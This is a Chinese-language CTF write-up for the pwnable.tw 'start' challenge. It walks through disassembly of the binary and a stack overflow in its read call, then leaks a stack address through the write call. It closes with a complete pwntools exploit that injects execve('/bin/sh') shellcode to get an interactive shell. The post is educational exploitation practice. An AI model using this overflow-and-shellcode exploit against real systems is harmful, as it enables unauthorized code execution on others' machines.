pwnable_tw | start

发布时间 2023-07-25 16:28:42作者: 叶际参差

分析

反汇编代码是两个系统调用:

__int64 start()
{
  __int64 result; // rax

  result = 0x3C00000003LL;
  __asm
  {
    int     80h; LINUX - sys_write
    int     80h; LINUX -
  }
  return result;
}

来看汇编:

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch ; '<'
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit           proc near               ; DATA XREF: _start+1↑o
.text:0804809D
.text:0804809D status          = dword ptr  4
.text:0804809D
.text:0804809D                 pop     esp
.text:0804809E                 xor     eax, eax
.text:080480A0                 inc     eax
.text:080480A1                 int     80h             ; LINUX - sys_exit
.text:080480A1 _exit           endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text           ends
.text:080480A1
.text:080480A1
.text:080480A1                 end _start

看0x8048060到0x804809C即可,函数先是系统调用write,把"Let's start the CTF:"打印出来,这段字符串在前面分作5次被push入栈:

.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch

接着,系统调用read,读入字符长度为0x3c,因为前面总共才push了7次,那么栈的7*4 = 0x1c,明显是栈溢出了。现在要确定返回地址到输入字符串起始地址的偏移。

.text:08048099                 add     esp, 14h
.text:0804809C                 retn

可以看到,在后面直接把esp增加0x14就直接retn了,那么根据前面push的顺序,返回地址恰好是offset _exit,调试发现是0x804809D,所以到返回地址的偏移值是0x14。
查看保护机制:

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

完全没有保护,可以采取ret2shellcode,但并没有可写可执行的bss段。只能考虑把shellcode放在栈上。这就需要泄露一个栈地址以确定写入的shellcode的位置,进而ret到那里去。
这里有个write系统调用,自然用它来泄露,设置第一次的返回地址是0x8048087,那么打印出来的正是一开始push进去的esp的值,这是一个栈地址,记作first_esp。
接着考虑计算放置shellcode的地址。由于后面是会把esp增加0x14的,于是放置shellcode的地址等于first_rsp+0x14,然后就是padding和放置shellcode了。
image

Exp

from pwn import *
import sys

if len(sys.argv) == 3:
    [ip,port] = sys.argv[1:]
    io = remote(ip,port)
else:
    io = process('./start')
    elf = ELF('./start')
    libc = elf.libc
    # gdb.attach(io)

context(os='linux',arch='i386',log_level='debug')

shellcode = '''
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80
'''

# payload = b'a' * 0x14 + retaddr 
payload = b'a' * 0x14 + p32(0x8048087)

io.sendafter("CTF:",payload)
rsp = u32(io.recv(4))
print(hex(rsp))
shell_addr = rsp + 0x14
# pause()

shellcode = asm(shellcode)
payload = b'a' * 0x14 + p32(shell_addr) + shellcode
io.send(payload)
io.recv()
io.interactive()

# cat ./home/start/flag